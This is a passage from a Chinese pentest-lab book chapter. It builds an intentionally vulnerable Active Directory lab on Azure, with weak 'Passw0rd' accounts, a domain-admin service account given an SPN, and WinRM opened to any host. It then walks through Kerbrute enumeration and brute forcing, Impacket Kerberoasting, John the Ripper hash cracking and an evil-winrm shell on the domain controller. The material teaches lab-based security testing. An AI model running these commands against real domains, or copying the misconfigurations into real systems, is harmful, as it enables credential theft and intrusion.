第一部分,共 1 部分 – 安装活动目录域服务
还记得我们在前面部分最小化的 RDP 会话吗? 让我们再次使用那个会话,因为我们将要在第一个虚拟机实例(ad-domain-controller)中安装活动目录域服务:
- 在继续执行下一步之前,确保你已经打开了第一个虚拟机实例(ad-domain-controller)的 RDP 会话。
注意
活动目录和活动目录域服务(AD DS)是有时可以互换使用的术语。然而,虽然 AD DS 专门指的是活动目录的核心目录服务组件,但需要注意的是,活动目录(作为一个整体)包含的服务和组件比 AD DS 更广泛。
-
转到服务器管理器 > 仪表盘,然后点击添加角色和功能:
![]()
图 8.28 — 添加角色和功能
你可以在配置此本地服务器下找到添加角色和功能链接(如图 8.28中所示)。
-
在开始之前选项卡中,点击下一步 >。
-
在安装类型下,确保选择了基于角色或功能的安装选项。点击下一步 >按钮继续。
-
在服务器选择下,确保选择了从服务器池中选择服务器选项,然后点击下一步 >。
-
在服务器角色下,切换到开启(勾选)活动目录域服务复选框:
![]()
图 8.29 — 服务器角色
找到在图 8.29中突出显示的复选框。确保点击正确的复选框(即对应活动目录域服务选项的复选框),因为有多个选项的名称以“活动目录”开头。
-
前一步中勾选的复选框应该会打开添加角色和功能向导区域(类似于我们在图 8.30中看到的内容):
![]()
图 8.30 — 添加功能
点击添加功能按钮(在图 8.30中突出显示),然后在服务器角色选项卡中点击下一步 >。
-
在功能和
AD DS选项卡中,点击下一步 >(两次)继续。 -
在确认选项卡中,点击安装:
![]()
图 8.31 — 确认安装选择
安装完成后,点击关闭按钮。这不是很简单吗? 此时,我们应该已经安装好了 AD DS! 当然,我们还没有完成,因为接下来我们将进行其他配置步骤。
注意
此步骤可能需要 10 到 15 分钟才能完成。在等待时,随时可以喝一杯咖啡或茶!
第二部分 / 共 12 部分 – 将虚拟机实例提升为域控制器
现在,是时候将机器(ad-domain-controller)提升为域控制器了:
-
点击旗标按钮(在图 8.32中突出显示),然后点击将此服务器提升为域控制器:
![]()
图 8.32 — 将机器提升为域控制器
什么是域控制器? 一旦服务器被提升为域控制器,它将负责在网络中管理用户认证、授权和资源管理。
-
在部署配置下,选择添加一个新森林:
![]()
图 8.33 — 部署配置
在 根域名 栏中,指定
domain.local(类似于 图 8.33 中所示)。然后点击 下一步 >。 -
在 域控制器选项 下,使用
Restore1234!!!作为密码:![]()
图 8.34 — 部署控制器选项
确保在 密码 和 确认密码 字段中都指定
Restore1234!!!(类似于 图 8.34 中所示)。在点击 下一步 > 之前,保持其他设置不变。 -
在 DNS 选项 标签页中,点击 下一步 >。
-
在 附加选项 标签页中,确认自动填充的 NetBIOS 域名 字段值为
DOMAIN:![]()
图 8.35 — 附加选项
在(如 图 8.35 所示)之后点击 下一步 > 按钮。
-
在 路径 标签页中,保持现有设置,然后点击 下一步 > 按钮。
-
在 复查选项 标签页中,点击 下一步 >。
-
在 先决条件检查 标签页中,点击 安装 按钮(如 图 8.36 所示):
![]()
图 8.36 — 先决条件检查
该步骤可能需要 5 到 10 分钟才能完成。此过程会自动重启 Windows 虚拟机实例(ad-domain-controller),并且在收到 即将注销 的通知弹窗后,您将丢失 RDP 连接。等待大约 5 分钟后再进行下一步。
注意
不用担心——我们可以在几分钟后再次通过 RDP 连接到第一个 Windows 虚拟机实例(ad-domain-controller)。这一次,我们应该能够使用域凭据登录(正如我们在接下来的步骤中所看到的那样)!
第三部分 共 12 部分 — 设置 Active Directory 证书服务
现在,我们将设置 Active Directory 证书服务(AD CS):
-
再次通过 RDP 连接到第一个 Windows 虚拟机实例(ad-domain-controller)。只需使用
domain\admin_user作为用户名,Windows1234!!!作为密码:![]()
图 8.37 — 输入您的用户账户
当看到 您正在连接到 RDP 主机... 弹窗时,点击 继续 按钮。
注意
你可能需要等待大约 5 分钟,才能登录并继续执行下一步。
-
点击 添加角色
和功能:![]()
图 8.38 — 添加角色和功能
你可以在 配置此本地服务器 下找到 添加角色和功能 链接(如 图 8.38 所示)。
-
在 开始之前 标签页中,点击 下一步 >。
-
在 安装类型 标签页中,确保选择了 基于角色或功能的安装 选项,然后点击 下一步 > 按钮。
-
在 服务器选择 标签页中,保持现有设置,然后点击 下一步 >。
-
在 服务器角色 标签页中,找到与 Active Directory 证书服务 对应的复选框:
![]()
图 8.39 — Active Directory 证书服务
选择并勾选Active Directory 证书服务,如图 8.39所示。
注意
AD CS 是 Active Directory 的一个特定组件,专注于提供公钥基础设施(PKI),用于颁发和管理数字证书。与 AD DS 类似,AD CS 通过启用加密、身份验证和安全通信,在网络环境中增强安全性,发挥着至关重要的作用。
-
勾选上一步中的复选框后,应该会打开添加角色和功能向导区域。点击添加功能按钮,然后点击下一步 >。
-
在功能选项卡中,点击下一步 >。
-
在
AD CS选项卡中,点击下一步 >。 -
在AD CS > 角色服务选项卡中,确保认证机构复选框被选中(勾选)。点击下一步 >按钮后:
![]()
图 8.40 — AD CS > 角色服务
除了确保认证机构复选框被勾选外,其他内容可以保持不变。
-
在确认选项卡中,勾选如果需要,自动重启目标服务器复选框:
![]()
图 8.41 — 确认安装选择
将出现一个类似于图 8.41所示的弹出窗口。选择是。
-
点击安装按钮。安装完成后(大约 5 分钟后,配置已完成,安装成功在 ad-domain-contr.domain.local 上),点击关闭。
注意
此时,我们应该已经安装了 AD CS。与 AD DS 类似,我们还需要进行一些步骤来配置刚刚安装的内容。
第四部分,共 12 部分 – 配置 Active Directory 证书服务
现在,我们来配置 AD CS:
- 点击带有警告标志的旗帜,然后选择在目标服务器上配置 Active Directory 证书服务(如图 8.42所示):

图 8.42 — 在目标服务器上配置 Active Directory 证书服务
-
在凭据选项卡中,点击下一步 >:
![]()
图 8.43 — 凭据选项卡
由于我们不会修改当前在此选项卡中的设置配置,所以可以保持其他内容不变。
-
在角色服务选项卡中,勾选认证机构。点击下一步 >按钮后:
![]()
图 8.44 — 选择角色服务进行配置
除了勾选第一个复选框(如图 8.44所示)外,其他内容可以保持不变。
-
在设置类型选项卡中,确保选择了企业 CA。点击下一步 >按钮后。
-
在CA 类型选项卡中,确保选中根 CA,然后点击下一步 >。
-
在私钥选项卡中,确保选中创建一个新的私钥,然后点击下一步 >。
-
在加密选项卡中,保持其他内容不变,然后点击下一步 >。
-
在CA 名称选项卡中,点击下一步 >。
-
在有效期选项卡中,点击下一步 >。
-
在证书位置标签中,点击下一步 >。
-
在确认标签中,点击配置。
-
在结果标签中,点击关闭。
第五部分,共 12 部分——更新受信任的主机配置并启用 PowerShell 远程管理
现在我们已经成功配置了 AD CS,让我们快速更新受信任的主机配置并启用 PowerShell 远程管理:
-
我们从点击 Windows 图标开始(位于屏幕左下角):
![]()
图 8.45 — 打开 Windows PowerShell
定位并选择
Windows PowerShell,如图 8.45所示。 -
运行
Enable-PsRemoting:Enable-PsRemoting -force在这里,我们启用PowerShell 远程管理,这是一个允许远程访问并在计算机上执行 PowerShell 命令和脚本的功能。
-
让我们运行以下命令来验证端口
5985是否正在监听:netstat -noa | Select-String "Listen"这应该返回以下输出:
... TCP 0.0.0.0:5985 0.0.0.0 LISTENING ... ... -
通过运行以下命令更新受信任的主机配置:
Set-Item WSMan:localhost\client\trustedhosts -Value *当询问是否要修改 WinRM 客户端的
TrustedHosts列表时,输入Y。 -
通过运行以下命令验证前一个命令是否生效:
Get-Item WSMan:\localhost\Client\TrustedHosts这应该确认配置值已经成功更新为
*。 -
运行以下命令以修改防火墙规则,允许进入的 WinRM 流量:
Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP-PUBLIC" -RemoteAddress Any
注意
到目前为止,我们已更新受信任的主机配置,允许任何主机连接(*)。除此之外,我们还修改了防火墙规则,以允许进入的 WinRM(端口 5985)流量。
第六部分,共 12 部分——在域控制器中设置标志
从上一个部分继续,按照以下步骤进行:
-
我们通过在终端中运行以下命令(一次一行)来导航至
C:\:cd .. cd .. dir -
在
C:\下创建一个flag.txt文件:echo "FLAG!" > flag.txt -
使用
Restart-Computer重新启动虚拟机实例(ad-domain-controller):Restart-Computer
注意
等待 3 到 5 分钟,直到虚拟机实例(ad-domain-controller)完成重启操作。等待时可以随意喝杯咖啡或茶!
第七部分,共 12 部分——创建 John Doe 用户
按照以下步骤进行:
-
再次通过 RDP 连接到第一个虚拟机实例(ad-domain-controller)。只需使用
domain\admin_user作为用户名,Windows1234!!!作为密码:![]()
图 8.46 — 输入你的用户账户
当你看到正在连接到 RDP
主机...弹窗时,点击继续按钮。 -
在服务器管理器 > 仪表盘下,点击工具(窗口右上角),然后从可选项中选择Active Directory 用户和计算机:
![]()
图 8.47 — Active Directory 用户和计算机
确保从多个可选项中选择正确的选项(类似于图 8.47中所示)。
-
在Active Directory 用户和计算机中,展开
domain.local(在树中),然后右键点击用户:![]()
图 8.48 — 用户 > 新建 > 用户
从上下文菜单中选择
New** > **User(与 图 8.48 中所示类似)。 -
使用
New Object - User窗口,我们来创建John Doe** (**johndoe) 用户:![]()
图 8.49 — 创建新用户(John Doe)
在这里,我们必须指定以下字段值:
First name–John,Last name–Doe,Full name–John Doe,User logon name–johndoe。点击Next >按钮。 -
现在,配置
John Doe** (**johndoe) 用户的密码设置。将Passw0rd设置为密码(用于Password和Confirm** **password字段):![]()
图 8.50 — 设置密码
取消勾选
User must change password at next logon,然后勾选Password never expires,与 图 8.50 中所示类似。之后点击Next >按钮。
注意
在这里,我们已指定 Passw0rd 作为密码,其中的 P 为大写字母,0 代替了字母 o。请注意,由于其简易性和带来虚假的安全感,这类密码相对常见。不幸的是,使用常见词语或短语的小变体(例如用数字代替字母,或者使用容易猜到的模式,如 P@ssw0rd(用 @ 替代 a))并不会显著增强安全性。
- 点击 完成 后继续。
注意
到此时,我们应该已经创建了 John Doe** (**johndoe) 用户。如你所见,创建新用户相对简单,因为我们有用户界面来帮助我们完成创建过程。
第八部分,共 12 部分 — 创建 Jane Doe 用户
按照以下步骤操作:
-
让我们创建另一个用户。右键点击
Users:![]()
图 8.51 — 新建 > 用户
从可用的上下文菜单中选择
New** > **User。 -
这次,我们将创建
Jane Doe** (**janedoe) 用户:![]()
图 8.52 — 创建 Jane Doe
在这里,我们必须指定以下字段值:
First name–Jane,Last name–Doe,Full name–Jane Doe,User logon name–janedoe。点击Next >按钮。 -
现在,配置
Jane Doe** (**janedoe) 用户的密码设置。将Passw0rd设置为密码(用于Password和Confirm** **password字段):![]()
图 8.53 — 配置密码设置
让我们也取消勾选
User must change password at next logon。勾选User cannot change password、Password never expires和Account is disabled(与 图 8.53 中所示类似)。然后点击Next >按钮。 -
点击 完成。
注意
到此为止,我们应该已经创建了Jane Doe(janedoe)用户。在构建渗透测试实验室环境时,我们必须有“虚拟”资源来使实验室设置模拟真实世界环境。也就是说,我们可以创建尽可能多的用户实体。
第九部分,共 12 部分 — 创建服务帐户用户
现在,让我们创建服务帐户用户(具有管理员级权限):
-
点击用户(从树形结构中),然后从用户列表中找到
admin_user:![]()
图 8.54 — 复制 admin_user
右键点击
admin_user,然后选择复制...(与图 8.54所示相似)。 -
在复制对象 - 用户窗口中,指定以下字段值以创建服务帐户用户:
![]()
图 8.55 — 创建服务帐户用户
在这里,我们必须指定以下字段值:名字 —
Service,姓氏 —Account,全名 —Service Account,用户登录名 —service_account。然后点击下一步 >按钮。 -
现在,让我们为服务帐户(service_account)用户配置密码设置。将
Passw0rd设置为密码(用于密码和确认密码字段):![]()
图 8.56 — 指定服务帐户用户的密码
我们还需要确保用户下次登录时必须更改密码、用户无法更改密码、密码永不过期和帐户已禁用都没有勾选(与图 8.56所示相似)。然后点击下一步 >按钮。
-
点击完成。
注意
Active Directory 中的用户帐户是为单个用户设计的。这些帐户允许用户访问资源并在网络内执行任务。而服务帐户则由应用程序和服务使用,用于与资源交互,而不需要依赖用户凭证。
第十部分,共 12 部分 — 设置服务帐户的 SPN
等等,后面还有!接下来,我们将为在上一步中创建的服务帐户配置服务主体名称(SPN)。SPN 是在 Active Directory 中使用的标识符,用于将服务与服务帐户关联,并启用安全通信的身份验证。通过使用 SPN 将服务实例映射到服务登录帐户,客户端应用程序能够请求该帐户的服务身份验证,即使客户端本身没有该帐户名:
重要提示
稍后,在本章的实验环境中的渗透测试模拟部分,我们将看到涉及服务帐户 SPN(服务主体名称)的(误)配置如何允许攻击者滥用身份验证协议。有关 SPN 的更多信息,请随时查看 learn.microsoft.com/en-us/windows/win32/ad/service-principal-names。
-
当准备好时,打开
Windows** **PowerShell窗口:![]()
图 8.57 — 打开 Windows PowerShell
这将打开一个 PowerShell 窗口,在接下来的步骤中我们将为服务帐户(service_account)设置 SPN。
-
让我们获取域控制器的主机名:
hostname这应该返回
ad-domain-contr。 -
将指定的 SPN 添加到
domain\service_account:setspn -S ad-domain-contr/service_account.domain.local:5000 domain\service_account这将产生以下输出:
... Updated object
注意
随时使用setspn -T domain.local -****Q */*来验证此操作。
- 关闭 PowerShell 窗口。
第十一部分,共 12 部分 — 将服务帐户用户添加到远程管理用户组
按照以下步骤操作:
-
返回Active Directory 用户和计算机窗口,找到服务帐户用户并位于用户中。
-
双击服务帐户以打开服务帐户属性。转到成员身份选项卡(类似于图 8.58所示)。点击添加按钮后:
![]()
图 8.58 — 服务帐户属性
在这里,您可以看到服务帐户(service_account)用户是多个组的成员,包括管理员、域管理员、域用户和企业管理员组(等等)。天哪!
-
输入远程管理用户,然后点击检查名称按钮:
![]()
图 8.59 — 远程管理用户
点击确定按钮后。
-
点击应用,然后点击确定按钮。
第十二部分,共 12 部分 — 配置工作站计算机
我们快完成了!在最后部分,我们将配置工作站计算机并让它加入我们在前一组步骤中创建的域:
-
让我们通过 RDP 访问第二个 Windows 虚拟机实例(ad-workstation-machine)。
-
在搜索框中输入
settings(位于屏幕左下角),然后从搜索结果列表中选择设置。在Windows 设置下的选项列表中找到并选择网络和 Internet。 -
在侧边栏中,点击以太网:
![]()
图 8.60 — 以太网
点击更改适配器选项(在相关设置下)。
-
右键点击以太网,然后选择属性:
![]()
图 8.61 — 打开以太网属性窗口
这将打开以太网属性窗口。在该窗口中,选择Internet 协议版本 4(TCP/IPv4),然后点击属性。
-
选择使用以下 DNS 服务器地址:(类似于图 8.62所示):
![]()
图 8.62 — 使用以下 DNS 服务器地址:
为首选 DNS 服务器值指定
10.0.1.4。请注意,我们正在使用域控制器的私有 IP 地址作为 DNS 服务器地址。
注意
确保在设置首选 DNS 服务器值时,使用实际的域控制器实例的私有 IP 地址(ad-domain-controller)。
- 点击确定按钮,然后点击关闭。
注意
请注意,RDP 连接到工作站(ad-workstation-machine)虚拟机实例将被断开(没有任何警告或通知)。
-
在Azure 门户中,导航到
ad-workstation-machine实例的虚拟机实例详细信息页面(概览面板)。找到并点击重启按钮(如图 8.63所示):![]()
图 8.63 — 重启工作站虚拟机实例
当系统提示您重启
ad-workstation-machine时,点击是按钮。
注意
等待 10 到 15 分钟,直到虚拟机实例重新启动。等候时,可以喝杯咖啡或茶!虚拟机成功重启后,您应看到一条通知消息。在继续下一步之前,再等待 5 分钟。
-
再次通过 RDP 连接到工作站虚拟机实例(ad-workstation-machine):
![]()
图 8.64 — 输入您的用户帐户
只需使用
workstation_user作为用户名,Workstation1234!!!作为密码。 -
在搜索框中输入访问工作或学校:
![]()
图 8.65 — 访问工作或学校
从搜索结果中选择访问工作或学校(如图 8.65所示)。
-
在访问工作或学校下,找到并点击连接按钮。接着,在其他操作下点击将此设备加入本地 Active Directory 域。
-
在加入域屏幕上,在域名字段中输入
domain.local。然后点击下一步按钮:![]()
图 8.66 — 加入域
当系统提示输入域帐户时,使用
admin_user作为用户名,Windows1234!!!作为密码。 -
在添加帐户窗口中,选择跳过。
-
点击立即重启。
注意
连接到工作站虚拟机实例(ad-workstation-machine)的 RDP 连接将被断开。
-
在域控制器(ad-domain-controller)的 RDP 连接中,检查工作站虚拟机实例是否出现在计算机下:
![]()
图 8.67 — 工作站虚拟机实例(ad-workstation-machine)现在出现在计算机下
这里,我们可以看到工作站虚拟机实例(ad-workstation-machine)现在出现在计算机下。
-
关闭域控制器虚拟机(ad-domain-controller)的 RDP 连接。
-
再次连接到工作站虚拟机实例(ad-workstation-machine)。这次,使用
DOMAIN\admin_user作为用户名,Windows1234!!!作为密码。 -
打开计算机管理:
![]()
图 8.68 — 打开计算机管理
要打开计算机管理,只需在搜索框中输入计算机管理,然后从结果列表中选择计算机管理(如图 8.68所示)。
-
展开本地用户和组(在树形结构中):
![]()
图 8.69 — 本地用户和组
点击组,如图 8.69所示。之后双击
Administrators。 -
在
Administrators**属性窗口中找到并点击添加**按钮。 -
在图 8.70中突出显示的文本框内输入
John Doe。![]()
图 8.70 — 将 John Doe 添加到管理员组
点击检查名称。之后点击确定。
-
点击应用,然后点击确定。
-
关闭工作站虚拟机实例(ad-workstation-machine)的 RDP 连接。
此时,我们的实验室环境设置已完成! 一切准备就绪,让我们继续进行下一部分。
在实验室环境中模拟渗透测试
鉴于我们的 Azure 实验室环境已成功设置,现在可以专注于进行渗透测试模拟,以验证所有配置是否正确。与前几章类似,我们将采用简化的渗透过程,因为我们的主要目标是评估渗透测试实验室环境是否已正确设置和(误)配置。
我们的模拟将从端口扫描开始,检查其中一台目标 Windows 虚拟机实例(ad-domain-controller)的开放端口。接着,我们将使用ldapsearch来检索在我们的 Active Directory 设置中使用的域名(domain.local)。然后,我们将使用Kerbrute枚举有效的用户名,并对其中一个枚举的用户账户(johndoe)的密码进行暴力破解。利用域(domain.local)及johndoe账户的凭据,我们将使用Impacket获取service_account账户及其哈希值。接着,我们将破解该哈希值,并使用John the Ripper恢复密码。凭借service_account账户的凭据,我们将使用evil-winrm远程访问目标机器(ad-domain-controller)。最后,我们将获取存储在目标机器中的 flag。看起来我们将会在本节中使用多个工具!
重要提示
攻击属于其他用户或公司拥有的云资源是非道德且非法的。在继续之前,请确保阅读云中构建渗透测试实验室环境时的注意事项部分,来自第一章,云中渗透测试实验室入门,因为我们将模拟攻击过程,以验证目标虚拟机实例中运行的应用和服务的配置错误和漏洞是否可被利用。
考虑到这些方面,我们现在可以开始渗透测试模拟:
-
在 Kali Linux 桌面/GUI 环境(浏览器中),在终端运行以下命令以检查并扫描 Active Directory 域控制器实例(ad-domain-controller)的开放端口。在运行此命令之前,请确保设置
IP变量的值为域控制器的私有 IP 地址:IP=10.0.1.4 nmap --top-ports 1000 -Pn $IP在这里,我们使用了
--top-ports选项来指定 Nmap 将扫描的最常用端口数量。这通过专注于最常用的端口来加速扫描过程。除此之外,我们还使用了-Pn选项来禁用主机发现,并假设主机是在线的。运行这个命令应该会给我们以下输出:
![]()
图 8.71 — 使用 nmap 扫描端口
在图 8.71中,我们可以看到与上次使用 Nmap 扫描域控制器虚拟机实例(ad-domain-controller)的端口相比,更多端口是开放的。
-
这次,让我们通过运行以下命令来检查所有端口:
nmap -p- -Pn $IP -v类似于我们之前运行的命令,我们使用了
-Pn选项来禁用主机发现。现在,我们使用了-p-,这表示我们要扫描所有 65,535 个端口。除此之外,我们还使用了-v选项来提高输出的详细级别。几分钟后,我们应该得到以下结果:![]()
图 8.72 — 使用 nmap 扫描所有端口
在图 8.72中,我们可以看到 WinRM 服务的端口
5985是开放的。这意味着我们可能能够使用像evil-winrm这样的工具,通过正确的凭据为我们提供远程访问!
重要提示
如果端口5985没有开放(可能处于过滤状态),请确保在第一个 Windows 虚拟机实例(ad-domain-controller)的管理员:Windows PowerShell窗口中运行以下命令:Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP-PUBLIC" -RemoteAddress Any。请注意,如果这没有解决连接问题,可能需要其他故障排除步骤。
-
现在,让我们执行一个 LDAP 搜索操作,通过
ldapsearch检索命名上下文。我们说的检索命名上下文是什么意思? 这实际上意味着我们正在获取有关 LDAP 目录的结构和组织的信息(比如其中存在的域或目录分区)。当你准备好时,运行以下命令:
ldapsearch -H ldap://$IP -x -s base namingcontexts这应该会产生以下结果:
![]()
图 8.73 — 使用 ldapsearch
运行前述命令让我们成功检索到在实验环境的 Active Directory 设置中使用的域名(domain.local)。
-
在安装 Kerbrute 之前,我们需要先安装 Golang:
apt update apt install golang -y随时通过运行
which go来验证我们是否成功安装了 Golang。运行which go应该返回/usr/bin/go。
注意
这一步可能需要大约 5 分钟来完成。
-
在你的 Kali Linux 攻击者机器上,使用以下命令设置
Kerbrute:git clone `https://github.com/ropnop/kerbrute.git` cd kerbrute make linux
注意
如果你在想 Kerbrute 是什么,它是一款用于评估 Kerberos 安全性的工具,通过暴力破解和枚举有效的 Active Directory 帐户。它类似于我们在第五章(在 Azure 上设置隔离的渗透测试实验室环境)中使用的VNC 登录辅助扫描器 Metasploit 模块。不过,这次我们有一款专门为 Kerberos 身份验证机制设计的工具。你可以在这里找到 Kerbrute 的 GitHub 仓库:github.com/ropnop/kerbrute。
-
现在,让我们依次运行以下命令,检查
kerbrute_linux_386和kerbrute_linux_amd64是否在dist目录中:cd dist ls -
接下来,让我们使用
touch命令创建两个空文件——usernames.txt和passwords.txt:touch usernames.txt passwords.txt -
运行以下命令,通过 Vim 打开空的
usernames.txt文件:vim usernames.txt按
i键切换到插入模式,以便我们可以编辑文件。将以下用户名(每行一个用户名)输入或粘贴到我们的usernames.txt文件中:admin admin_user workstation_user johndoe janedoe按Esc键切换到正常模式。输入
:wq!,然后按Enter键。这将保存对usernames.txt所做的更改,并退出 Vim。
注意
如果你已经忘记了,Vim 中的插入模式允许我们像在普通文本编辑器中一样输入和修改内容。在此模式下,我们可以自由地添加、删除或修改字符,而不会影响周围的文本。另一方面,正常模式允许我们浏览文本、执行命令并对文件进行各种操作。在此模式下,可以使用特定的按键(如:wq!)来移动光标、搜索文本、复制和粘贴,以及执行诸如删除、替换和撤销更改等编辑操作。例如,w表示写入命令(保存更改),q表示退出命令(退出编辑器)。那么感叹号(!)是什么意思呢?感叹号!只是一个可选的修饰符,它强制执行命令,即使有未保存的更改和其他警告。
-
同样,让我们运行以下命令,通过 Vim 打开空的
passwords.txt文件:vim passwords.txt接下来,按
i键切换到插入模式,以便我们可以编辑文件。将以下密码(每行一个密码)输入或粘贴到我们的passwords.txt文件中:password admin Workstation1234!!! Windows1234!!! Passw0rd按Esc键切换到正常模式。输入
:wq!,然后按Enter键。这将保存我们对passwords.txt所做的更改,并退出 Vim。
重要提示
我们故意使用简短的用户名和密码列表来演示如何使用 Kerbrute。实际上,为了最大化渗透测试活动或模拟中的未经授权访问的机会,需要准备一个更广泛的密码范围。
-
一切准备就绪后,让我们使用 Kerbrute 根据之前准备的用户名列表文件(usernames.txt)来枚举有效的 Active Directory 用户:
./kerbrute_linux_386 userenum usernames.txt -d domain --dc 10.0.1.4这应该会生成以下输出:
![]()
图 8.74 — 使用 Kerbrute 枚举有效的 Active Directory 用户名
在这里,我们可以看到使用 Kerbrute 找到了两个有效的用户名:
johndoe@domain和admin_user@domain。 -
现在,让我们运行以下命令,使用之前准备的密码列表文件(passwords.txt)对
johndoe密码进行暴力破解:./kerbrute_linux_386 bruteuser --dc 10.0.1.4 -d DOMAIN.local passwords.txt johndoe这应该会生成以下输出:
![]()
图 8.75 — 使用 Kerbrute 对 johndoe 用户账户的密码进行暴力破解
在这里,我们可以看到
johndoe用户账户的密码是Passw0rd!我们能用这个密码做什么呢? 我们将在接下来的步骤中查看这个问题! -
让我们运行以下命令请求
DOMAIN.local/johndoe用户账户的 SPN:impacket-GetUserSPNs -dc-ip 10.0.1.4 DOMAIN.local/johndoe -request当提示输入密码时,请指定
Passw0rd。这应该会生成以下输出:![]()
图 8.76 — KRB_TGS 票证
在这里,我们可以看到
service_account账户和密码哈希值(即KRB_TGS 票证)在CCache 文件未找到。跳过...下方。
注意
本书中我们不会深入讨论身份验证协议的工作原理。欢迎访问learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-kerberos了解更多详情。
-
高亮并复制哈希值,类似于图 8**.77中所示的操作:
![]()
图 8.77 — 复制哈希值
在这里,我们右键单击高亮显示的哈希值,然后从可用选项列表中选择复制选定内容。
-
现在,让我们使用
touch命令创建一个空的哈希文件。让我们也使用 Vim 打开此文件:touch hash vim hash接下来,按i切换到插入模式,以便我们可以编辑文件。通过右键点击并从可用选项中选择粘贴选定内容来粘贴复制的字符串值。按Esc键切换回普通模式。输入
:wq!,然后按Enter。
注意
随时运行cat hash命令来验证哈希值是否已正确复制到文件中。
-
准备好哈希文件后,我们现在可以使用
John the Ripper(一个广泛使用的密码破解工具,用于检测和揭示弱密码)来破解 TGS 哈希并获取破解后的密码。当你准备好时,直接运行以下命令:
john --format=krb5tgs hash这应该会生成类似于图 8**.78中的日志:
![]()
图 8.78 — 使用 John the Ripper 破解 TGS 哈希
看起来我们成功破解了密码! 欢迎运行
john --format=krb5tgs hash --show来显示破解后的密码(Passw0rd)。
注意
在幕后,John the Ripper 采用多种技术(如字典攻击和暴力破解攻击)迭代猜测潜在密码,并将其进行哈希处理,与目标哈希值进行比较。
-
现在我们知道密码了,接下来使用
evil-winrm来获取目标机器的远程访问权限。在这里,我们使用一个工具,通过破解的凭据与 Active Directory 域控制器实例(ad-domain-controller)建立远程连接。当你准备好时,运行以下命令:
evil-winrm -u service_account -p 'Passw0rd' -i 10.0.1.4运行此命令应该会成功,并使我们能够获得类似于图 8.79所示的访问权限:
![]()
图 8.79 — 使用 evil-winrm 获得远程访问权限
看起来我们成功获得了 shell 访问权限! 现在我们有了 shell 访问权限,可以运行命令来定位标志(这正是我们接下来要做的!)
重要提示
确保第一台 Windows 虚拟机实例(ad-domain-controller)的5985 端口是开放的,以防你在运行evil-winrm命令时遇到问题。可以运行nmap -p5985 -Pn 10.0.1.4来验证STATE值是open而非filtered。
-
导航到
C:\目录,然后使用dircmdlet 列出其中的文件:cd ../../.. dir这应该会产生以下输出:
![]()
图 8.80 — 运行 dir cmdlet 后的结果
在这里,我们可以看到我们的
flag.txt文件位于C:\中。 -
最后,使用
cat(Get-Content)命令打印flag.txt中的标志值:cat flag.txt这应该会返回
FLAG作为值!恭喜你成功获取标志!
现在,你可能迫不及待想在我们的实验环境中尝试其他漏洞利用和技术了。可以随意修改目标虚拟机实例(ad-domain-controller 和 ad-workstation-machine)的配置,然后测试某些攻击或技术是否有效。
清理
清理我们创建或部署的云资源是处理脆弱云应用和环境时的重要步骤。如果我们不立即清理并删除我们创建的资源,我们可能会为未使用的云资源支付费用。至少,我们将为以下资源的运行时间付费:
-
1 x
Standard_DS1_v2Azure 虚拟机实例作为攻击机 -
2 x
Standard_B2msAzure 虚拟机实例作为目标机器(ad-domain-controller和 ad-workstation-machine)
请注意,还有其他费用需要考虑——包括数据传输费用、实例使用的持久数据存储费用、账户中使用的其他 Azure 服务的潜在费用,以及与 Azure 资源使用相关的任何适用税费或费用。
注意
由于运行这些资源的总体费用取决于多个参数,最好参考云平台提供的定价文档页面:azure.microsoft.com/en-us/pricing/details/virtual-machines/windows/。你还可以使用Azure 定价计算器来估算在 Azure 上部署资源的费用。你可以访问 Azure 定价计算器:azure.microsoft.com/en-us/pricing/calculator/。
话虽如此,接下来我们来删除在本章中创建的资源:
-
关闭所有打开的 RDP 连接。
-
手动关闭并删除 Windows 虚拟机实例(
ad-domain-controller和ad-workstation-machine),以及本章中创建的与之关联的资源,通过 Azure 门户进行操作。 -
在 Cloud Shell 终端中,导航到
~/ch8_environment目录,然后使用terraform destroy来清理我们之前创建的资源:cd ~/ch8_environment terraform destroy -auto-approve如果某些资源删除失败(或删除需要一些时间),可以随时运行
terraform destroy命令几次。如果一切都失败了,你可以通过 Azure 门户的用户界面手动删除资源。
注意
此步骤可能需要 10 到 15 分钟才能完成。
-
使用以下命令验证资源是否已成功销毁:
terraform show这应该返回一个空响应,因为所有资源应该已成功删除。
重要提示
随时对你的 Microsoft Azure 账户进行全面审计。这将帮助确保所有资源已正确删除,最小化意外费用的风险,并解决任何潜在的安全问题。
就是这样!到目前为止,我们应该已经对如何在 Microsoft Azure 上准备一个脆弱的 Active Directory 实验环境有了清晰的了解。
总结
在本章中,我们成功地在 Microsoft Azure 的隔离网络环境中设置了一个 Active Directory 实验室。我们首先使用 Terraform 设置了隔离的网络环境,以便保护实验环境资源免受外部攻击。在这个隔离的网络环境中,我们启动了两台 Windows 虚拟机实例。然后,我们准备并配置了一个 Active Directory 设置(使用我们启动的虚拟机实例),包括一个域控制器和一台工作站。完成实验环境后,我们进行了渗透测试模拟,以验证我们的实验室是否已经正确(或错误)配置。
在下一章中,我们将讨论在云中构建和自动化渗透测试实验室的最佳实践和策略。我们将解决一些具体技术,帮助我们在本书各章节中学到的内容基础上进一步构建。
深入阅读
关于本章中涉及的主题,你可以参考以下资源:
-
Active Directory 域服务 概述 (
learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) -
什么是 Active Directory 证书 服务? (
learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview) -
Microsoft Kerberos (
learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-kerberos) -
使用 Windows 远程 管理 (
learn.microsoft.com/en-us/windows/win32/winrm/using-windows-remote-management)
第九章:推荐策略和最佳实践
恭喜你已完成本书的最后一章!最后几章主要专注于提供实践经验,帮助你在云端构建更复杂的渗透测试实验室。如果你花时间理解了本书中的实践示例和解决方案,那么你应该对自己目前的知识和技能能达到的成就更有信心了。在这一章中,我们将建立在你前几章学到的基础上,探索如何将工作提升到一个新高度!
本章将涵盖以下内容:
-
提高渗透测试实验室环境的复杂性
-
利用生成性人工智能估算渗透测试实验室的成本
-
释放 AI 驱动工具的强大功能,加速自动化脚本开发
-
使用人工智能驱动的解决方案生成和解释 IaC 模板代码
-
在构建和自动化实验室环境时,识别相关考虑因素和实际策略
牢记这些,让我们开始吧!
技术要求
在开始之前,你必须准备好以下内容:
-
已安装并设置好的
Visual Studio Code(VS Code)本地开发环境 -
